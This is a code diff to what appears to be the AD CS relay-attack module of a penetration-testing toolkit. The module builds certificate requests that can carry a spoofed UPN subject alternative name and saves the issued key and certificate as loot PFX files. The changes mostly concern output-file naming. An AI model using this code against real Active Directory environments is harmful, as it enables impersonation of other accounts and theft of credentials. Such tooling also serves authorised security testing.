2020import os
2121from OpenSSL import crypto
2222
23+ from cryptography import x509
2324from cryptography .hazmat .primitives .serialization import pkcs12
2425from cryptography .hazmat .primitives .serialization import NoEncryption
25- from cryptography .x509 import load_pem_x509_certificate , load_der_x509_certificate
26+ from cryptography .x509 import ExtensionNotFound , load_pem_x509_certificate
27+ from cryptography .x509 .oid import NameOID , ObjectIdentifier
2628from cryptography .hazmat .backends import default_backend
2729
2830
3436
3537
3638class ADCSAttack :
39+ UPN_OID = ObjectIdentifier ("1.3.6.1.4.1.311.20.2.3" )
3740
3841 def _run (self ):
3942 key = crypto .PKey ()
@@ -85,17 +88,20 @@ def _run(self):
8588 LOG .info ("GOT CERTIFICATE! ID %s" % certificate_id )
8689 certificate = response .read ().decode ()
8790
88- certificate_store = self .generate_pfx (key .to_cryptography_key (), certificate )
89- LOG .info ("Writing PKCS#12 certificate to %s/%s.pfx" % (self .config .lootdir , self .username ))
91+ cert_obj = load_pem_x509_certificate (certificate .encode (), backend = default_backend ())
92+ pfx_filename = self ._sanitize_filename (self .username or self ._extract_certificate_identity (cert_obj ) or "certificate_{0}" .format (certificate_id ))
93+ certificate_store = self .generate_pfx (key .to_cryptography_key (), cert_obj )
94+ output_path = os .path .join (self .config .lootdir , "{}.pfx" .format (pfx_filename ))
95+ LOG .info ("Writing PKCS#12 certificate to %s" % output_path )
9096 try :
9197 if not os .path .isdir (self .config .lootdir ):
9298 os .mkdir (self .config .lootdir )
93- with open ("%s/%s.pfx" % ( self . config . lootdir , self . username ) , 'wb' ) as f :
99+ with open (output_path , 'wb' ) as f :
94100 f .write (certificate_store )
95101 LOG .info ("Certificate successfully written to file" )
96102 except Exception as e :
97103 LOG .info ("Unable to write certificate to file, printing B64 of certificate to console instead" )
98- LOG .info ("Base64-encoded PKCS#12 certificate of user %s : \n %s" % (self . username , base64 .b64encode (certificate_store ).decode ()))
104+ LOG .info ("Base64-encoded PKCS#12 certificate (%s) : \n %s" % (pfx_filename , base64 .b64encode (certificate_store ).decode ()))
99105 pass
100106
101107 if self .config .altName :
@@ -105,29 +111,24 @@ def _run(self):
105111 def generate_csr (key , CN , altName , csr_type = crypto .FILETYPE_PEM ):
106112 LOG .info ("Generating CSR..." )
107113 req = crypto .X509Req ()
108- req .get_subject ().CN = CN
114+
115+ if CN :
116+ req .get_subject ().CN = CN
109117
110118 if altName :
111119 req .add_extensions ([crypto .X509Extension (b"subjectAltName" , False , b"otherName:1.3.6.1.4.1.311.20.2.3;UTF8:%b" % altName .encode () )])
112120
113-
114121 req .set_pubkey (key )
115122 req .sign (key , "sha256" )
116123
117124 return crypto .dump_certificate_request (csr_type , req )
118125
119126 @staticmethod
120- def generate_pfx (key , certificate , cert_type = crypto .FILETYPE_PEM ):
121-
122- if cert_type == crypto .FILETYPE_PEM :
123- cert = load_pem_x509_certificate (certificate .encode (), backend = default_backend ())
124- else : #ASN1/DER
125- cert = load_der_x509_certificate (certificate .encode (), backend = default_backend ())
126-
127+ def generate_pfx (key , certificate ):
127128 pfx_data = pkcs12 .serialize_key_and_certificates (
128129 name = b"" ,
129130 key = key ,
130- cert = cert ,
131+ cert = certificate ,
131132 cas = None ,
132133 encryption_algorithm = NoEncryption ()
133134 )
@@ -139,3 +140,42 @@ def generate_certattributes(template, altName):
139140 if altName :
140141 return "CertificateTemplate:{}%0d%0aSAN:upn={}" .format (template , altName )
141142 return "CertificateTemplate:{}" .format (template )
143+
144+ @classmethod
145+ def _extract_certificate_identity (cls , cert ):
146+ try :
147+ common_names = cert .subject .get_attributes_for_oid (NameOID .COMMON_NAME )
148+ for attribute in common_names :
149+ value = attribute .value .strip ()
150+ if value :
151+ return value
152+ except Exception :
153+ pass
154+
155+ try :
156+ san_extension = cert .extensions .get_extension_for_class (x509 .SubjectAlternativeName )
157+ san = san_extension .value
158+ for other_name in san .get_values_for_type (x509 .OtherName ):
159+ if other_name .type_id == cls .UPN_OID :
160+ value = other_name .value
161+ if isinstance (value , bytes ):
162+ value = value .decode ('utf-8' , errors = 'ignore' )
163+ value = value .strip ()
164+ if value :
165+ return value
166+ for dns_name in san .get_values_for_type (x509 .DNSName ):
167+ value = dns_name .strip ()
168+ if value :
169+ return value
170+ except ExtensionNotFound :
171+ pass
172+ except Exception :
173+ pass
174+
175+ return None
176+
177+ @staticmethod
178+ def _sanitize_filename (name ):
179+ sanitized = re .sub (r'[^A-Za-z0-9._-]' , '_' , name )
180+ sanitized = sanitized .strip ("._" )
181+ return sanitized
0 commit comments